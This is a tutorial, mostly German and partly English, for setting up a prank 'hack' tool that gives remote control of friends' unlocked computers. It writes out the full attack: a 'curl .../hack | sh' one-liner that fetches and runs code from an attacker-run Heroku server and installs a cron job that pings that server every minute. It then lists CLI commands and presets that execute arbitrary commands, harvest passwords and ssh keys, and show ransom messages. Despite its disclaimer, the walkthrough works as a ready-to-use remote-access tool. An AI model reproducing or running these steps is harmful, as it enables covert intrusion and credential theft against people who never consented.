Wie man seine Freunde hackt

Meine Freunde lassen ihre Computer oft offen und entsperrt. Ich sage ihnen, sie sollten sich wahrscheinlich angewöhnen, ihre Computer zu sperren, aber sie hören mir nicht zu. Deshalb habe ich ein einfaches Projekt erstellt, um meine Freunde zu hacken und ihnen die Bedeutung der Computersicherheit zu zeigen.

Ich muss nur warten, bis sie ihren Computer einige Sekunden lang entsperrt lassen, ihr Terminal öffnen und einen einzelnen kurzen Befehl eingeben.

Das ist es! Ihr Computer ist jetzt infiziert und ich kann alle gewünschten Befehle auf diesem Computer remote ausführen. Ziemlich süß, oder? Oder vielleicht schockierend?

Hacken ist illegal. Speziell:

"Absichtlicher Zugriff auf einen Computer ohne Autorisierung oder Überschreitung des autorisierten Zugriffs" - The Computer Fraud and Abuse Act (18 USC 1030)

Denken Sie also daran, dass der Zweck dieses Artikels darin besteht, Ihnen zu zeigen, wie einfach es für jemanden mit schlechten Absichten wäre, Sie zu hacken, damit Sie nicht selbst gehackt werden.

Es braucht kein Hacker-Genie, um Ihr Leben zu ruinieren - jeder „Script Kiddy“, der physischen Zugriff auf Ihren Computer erhält, kann Sie gefährden, indem er ein Skript mit nur 50 Codezeilen herunterlädt.

Setup einrichten

Der gesamte Code für dieses Projekt befindet sich in diesem Repository, wenn Sie direkt einsteigen möchten. Im Folgenden werde ich jedoch erläutern, wie alles funktioniert.

Zunächst müssen Sie nur das Repo klonen, seine Abhängigkeiten installieren und das CLI-Tool ( Hack Command Line Interface) mit Symlink verknüpfen .

git clone //github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

Als Nächstes müssen Sie Heroku so einrichten, dass die Skripte gehostet werden, die auf dem Computer Ihres Freundes ausgeführt werden. Wenn Sie Heroku noch nie zuvor verwendet haben, melden Sie sich hier an (kostenlos!) Und richten Sie das CLI-Tool auf Ihrem Computer ein.

brew install heroku-toolbeltheroku login

Erstellen Sie jetzt im Hack- Repo eine Heroku-App mit einem leicht zu merkenden Namen. Ich benutze Hacker-Chet.

heroku create hacker-chet

Dann müssen Sie einen Befehl ausführen, um ein kleines Setup durchzuführen. Alles, was es wirklich tut, ist, die Root-URL für Ihre Heroku-Website abzurufen und in Ihre package.json einzufügen . Auf diese Weise kann der Server die App-URL in die Shell-Skripte einfügen.

npm run init

Sie können den Server lokal starten, wenn Sie sich selbst hacken und testen möchten.

npm start

Oder Sie können Heroku bereitstellen.

npm run deploy

Jetzt können Sie hacken!

Hack API

Das Schöne an diesem Programm ist, dass Sie nur einen einzigen Befehl auf dem Computer ausführen müssen, um jemanden zu hacken.

curl /hack | sh

ROOT_URL ist der spezifische Pfad zu Ihrer Anwendung. Wenn Sie den Server lokal ausführen , ist dies localhost: 5000, und wenn Sie auf Heroku bereitstellen, ist dies so etwas wie .herokua pp.com.

Dadurch wird ein Cron-Job eingerichtet - ein „chronologischer Job“, der Aufgaben zu bestimmten Zeiten erneut ausführt -, um den Endpunkt / env / live jede Minute zu pingen und das Ergebnis an sh weiterzuleiten . Es ist eigentlich ganz einfach! Und Heroku gibt Ihnen HTTPS kostenlos, so dass es "sicher" ist, oder?

Sobald Sie Ihren Freund gehackt haben, können Sie alles andere mit dem Befehlszeilentool von Ihrem Computer aus erledigen.

Das Hack- Tool hat ein Konzept für verschiedene gehackte Umgebungen. Wenn Sie jemanden mit dem Endpunkt / hack hacken , startet diese Person in der Live- Umgebung. Und für jede Umgebung können Sie verschiedene Befehle ausführen. Ich werde alles mit einer kleinen Anleitung demonstrieren.

Im Folgenden wird das Shell-Skript für die Live- Umgebung neu geschrieben, um den folgenden Befehl auszuführen, der laut sagt: "Ich beobachte Sie."

hack live exec "say 'I\'m watching you'"

Nun, es wird noch nicht funktionieren, Sie müssen es erneut auf Ihrer Heroku-App bereitstellen.

hack deploy

Warten Sie nun auf die nächste Minute und beobachten Sie, wie der Computer Ihres Freundes Ihren Server anpingt, indem Sie die Serverprotokolle verfolgen.

hack logs

Der springende Punkt in Umgebungen ist, dass Sie mehrere Personen gleichzeitig hacken können. Um Personen in verschiedenen Umgebungen zu isolieren, müssen Sie nur den Namen ändern.

hack live rename jon

Wenn die Live-Umgebung das nächste Mal gepingt wird, wird der Cron-Job neu geschrieben, um stattdessen mit dem Ping der Jon- Umgebung zu beginnen.

Sie können alles gleich machen, indem Sie das Umgebungsargument ändern.

hack jon exec "say 'hello jon'"

Wenn Sie jetzt genug Spaß für den Tag hatten und die Party vorbei ist, können Sie Jon vergessen und ihm versichern, dass Sie ihn „ausgehackt“ haben.

hack jon forget

Dadurch wird der Cron-Job von ihrem Computer gelöscht. Oder Sie möchten diese Umgebung einfach in den Schlafzellenmodus versetzen, damit Sie sie später wiederherstellen können.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month (range: 1-31)| +---------- Hour (range: 0-23)+------------ Minute (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop //i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.

hack jon preset passwordshack jon preset ssh

But if you just want to give him a good old-fashioned scare, send him a ransom message!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.

hack jon reset

Now go have (responsible) fun with this thing and let me know what your favorite pranks are by submitting a pull request with a new command or preset!

Happy Hacking!